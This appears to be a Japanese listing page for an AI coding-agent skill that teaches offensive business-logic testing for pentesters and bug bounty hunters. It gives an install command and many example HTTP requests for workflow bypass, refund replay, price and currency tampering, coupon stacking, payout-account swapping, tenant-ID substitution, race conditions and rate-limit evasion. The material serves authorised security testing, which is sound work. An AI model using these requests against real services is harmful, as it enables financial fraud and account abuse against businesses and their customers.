offensive-business-logic について
ペネトレーションテスターやバグバウンティ研究者向けの、ビジネスロジックを検証する手法です。状態遷移や業務ルール、悪用経路、複数の不備の連鎖に沿ってテストを進めます。
主な機能
- 01フローを状態機械として整理
- 02状態・ID・入力・頻度を検証
- 03価格・返金・ロール境界を調査
- 04リプレイや競合状態を確認
- 05不備を組み合わせ影響を推定
活用シーン
- 01チェックアウトや決済フローの確認
- 02一度限りの操作の再実行テスト
- 03テナントとロールの分離評価
- 04金銭的な不正の連鎖を記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-business-logicインストール後、Claude Code で/offensive-business-logicを入力して読み込まれたか確認します。
詳細
ビジネスロジック — 攻撃的テスト手法
ビジネスロジックの脆弱性は、バグ報奨金で最も高額な報奨金が支払われる脆弱性の種類であり、スキャナーによる検出が最も困難です。開発者が指定した内容と、攻撃者がシステムに受け入れさせる内容との間に潜んでいます。
クイックワークフロー
- すべての複数ステップのフローを状態機械としてマッピングします(状態+許可された遷移+副作用)
- 各遷移について、誰が呼び出せるか、どの状態で、どの入力を使って、何回呼び出せるかを確認します
- 各軸(状態、ID、入力、頻度)を調べ、前提を洗い出します
- 脆弱性を組み合わせます。単一軸の脆弱性は通常、深刻度が低く、連鎖すると重大になります
- 各脆弱性の金銭的影響を定量化します(攻撃ごとの損失 × 規模)
偵察 — ロジックのマッピング
状態機械の構築
各ユーザーフローについて、以下を図示します。
- 状態:カート、支払い待ち、支払い済み、発送済み、返金済み、キャンセル済み
- 遷移:どの API/UI アクションか、どのロールか、どの前提条件か
- 副作用:残高の変更、在庫の変更、メール、Webhook
次のような遷移を探します。
- 中間状態を飛ばす(
cart→paidを経ずにshipped) - 本来できないはずなのに元に戻せる(
shipped→cart) - 副作用を複数回発生させる
- ロールをまたいだ呼び出しを許可する
隠し/内部エンドポイント
# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
ワークフロー/状態機械のバイパス
必須ステップをスキップする
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
1 回限りのアクションをリプレイする
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
状態のダウングレード
確定済みのオブジェクトを、変更が反映される編集可能な状態に戻します。
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
エンドポイントの直接呼び出し
UI では非表示でも、ルートレベルの RBAC が欠落していると、認証済みユーザーなら誰でも多くの管理者/バックエンド遷移に到達できます。
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
価格/数量/通貨の操作
負数/ゼロ/浮動小数点の数量
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
隠れた価格フィールド
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
サーバーがクライアントから送信された price を信頼している場合、価格を自由に設定できます。すべての数値フィールド(price、total、discount、tax、shipping、subtotal、currency)をテストします。
通貨の混同
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
次の点を確認します。通貨の正規化が欠落していないか、不適切な FX レートのキャッシュがないか、ユーザー入力による通貨検索がないか。
クーポン/割引ロジック
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
カートの改ざん
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
返金/チャージバック/支払いの悪用
支払った金額を超える返金を受ける
POST /api/orders/123/refund { "amount": 99999 }
返品数を減らして返金を受ける
注文で商品を 5 個発送し、そのうち 1 個だけ返品して、注文全額の返金を申請します。ロジックは返品された商品ごとに返金額を計算すべきですが、注文単位で計算している場合、商品を無料で入手できます。
返金先を別の方法に変える
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold
支払い先アカウントの競合状態
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
ID/テナント/ロールの境界
マルチパート/パラメーター汚染によるロールの混同
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
隠しフィールドでのテナント ID の置き換え
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order
マスアサインメント/フィールドの許可リスト
PUT /api/users/me
{ "email": "[email protected]", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
フォームに表示されるフィールドだけでなく、モデルに存在するすべてのフィールドをテストします。
オブジェクトのリンクによる間接的な権限昇格
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API
ロジック境界での競合状態
状態を読み取ってから処理するロジックチェックは、TOCTOU の脆弱性があります。(併せて offensive-toctou、offensive-race-condition も参照してください。)
1 パケットでの複数リクエスト
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.
よくあるロジックの競合状態
| フロー | 競合 |
|---|---|
| クーポンの利用 | N 個の並列 apply-coupon 呼び出しが、それぞれ「未使用」と判断する |
| 2FA の検証 | ロックアウトカウンターが増加する前に、コードを N 回並列で送信する |
| 出金 | 並列の出金処理が、それぞれ全額の残高があると判断する |
| 投票/いいね/リアクション | 「ユーザーごとに 1 回」のチェックに競合が発生する |
| 招待の承認 | 複数の承認により、複数のシートが付与される |
| 無料トライアルの登録 | 並列登録により、1 つのメールアドレスで複数のトライアルを利用できる |
| ギフトカードの利用 | 並列の利用により、1 枚のカードを複数回使える |
| 在庫の予約 | 最後の 1 個を並列購入し、過剰販売となって差額をサプライヤーが負担する |
増幅
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card
自動化対策/不正対策の回避
CAPTCHA/レート制限の回避
| 回避手法 | 仕組み |
|---|---|
| トークンの再利用 | CAPTCHA を1回解き、そのトークンを多くのリクエストで再利用します |
| エンドポイントのミラー | /api/v1/login はレート制限されていますが、/api/v2/login は制限されていません |
| ヘッダーのローテーション | X-Forwarded-For: <random> により、IP ごとのカウンターがリセットされます |
| HTTP/2 ストリームの多重化 | 各ストリームが同じ接続としてカウントされるため、ウィンドウ内にとどまります |
| メソッド/大文字・小文字の違い | POST /Login と POST /login は、キャッシュ内で別々にキー付けされます |
デバイスフィンガープリント/試行頻度
- 新しいデバイスの場合、追加認証が要求されます。取得済みのデバイス Cookie/FingerprintJS ハッシュを再利用します。
- 試行頻度カウンター(1時間に5回のログイン)は、
useridごとではなく、(userid, ip)ごとに設定されていることがよくあります。 - リスクスコアのしきい値:少額の購入では審査が省略されます。境界値($99.99 と $100)をテストします。
無料トライアル/サインアップの不正利用
# Email aliasing
[email protected], [email protected] # Plus-aliasing
[email protected], [email protected] # Dots ignored on Gmail
[email protected] # gmail/googlemail equivalence
# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install
紹介/報酬ループ
POST /api/refer { "email": "[email protected]" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "[email protected]" } # Repeat — many sign-ups, all same person
サブスクリプション/クォータ/ティアの不正利用
ティアをダウングレードしてもプレミアム機能が維持される
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?
サイクル途中でのクォータリセット
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
アドオンの重ねがけ
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
時間ベースのロジック
ヘッダーによるタイムトラベル
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800
プロモーション期間
クライアント側の日付を期間内に設定すると、サーバーが X-Promo-Time パラメーターを検証します。プロモーションキャッシュが古いままだと、昨日の価格が今日も適用されます。
トークン/セッションの有効期限
元のトークンの有効期限を確認しないリフレッシュトークンのエンドポイントでは、セッションを無期限に延長できます。
脆弱性の組み合わせ — 高額報奨金につながる箇所
単一の軸に関する発見も興味深いものですが、連鎖こそが報奨金につながります。
連鎖の例(実際に報奨金が支払われたもの):
- クーポンの重ねがけにより、
100% offを2回適用して合計金額がマイナスになる - 合計金額がマイナスになると、ストアクレジットが発行される(「超過支払い」の払い戻し)
- ストアクレジットをギフトカードに移行できる
- ギフトカードの競合状態により、残高が増幅される
- ギフトカードを提携サイトで現金相当のものに交換できる
連鎖のテンプレート:
- システムから付与されるもの(クレジット、ポイント、枠、席)を見つける
- それを増幅する方法(競合、再利用、重ねがけ)を見つける
- それを価値に換える方法(移行、払い戻し、出金)を見つける
エンゲージメントへの取り組み方
Day 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.
各発見は次のように記録します:前提条件 → 正確なリクエストの順序 → 状態の差分 → 1回の実行あたりの金銭的影響 → 拡張率。
報告時のポイント
ビジネスロジックに関する発見は、トリアージ担当者が連鎖を理解できずに深刻度を引き下げることがよくあります。必ず次の内容を含めてください。
- 想定されるフローと実際に達成されたフローの図
- 最初から最後まで実行できるスクリプト化された PoC(手動の手順なし)
- 1回の実行あたりの金額と、繰り返し実行する実現可能性に関する説明
- 適切なレイヤーでの修正(入力検証だけでなく、ステートマシンのバリデーター)
主な参考資料
- OWASP WSTG-BUSL — ビジネスロジックテストの章
- PortSwigger Web Security Academy:ビジネスロジックの脆弱性トラック
- MITRE ATT&CK:T1539(Web セッション Cookie の窃取)、T1078(有効なアカウント)— アクセスを連鎖させる場合
- ソース:https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md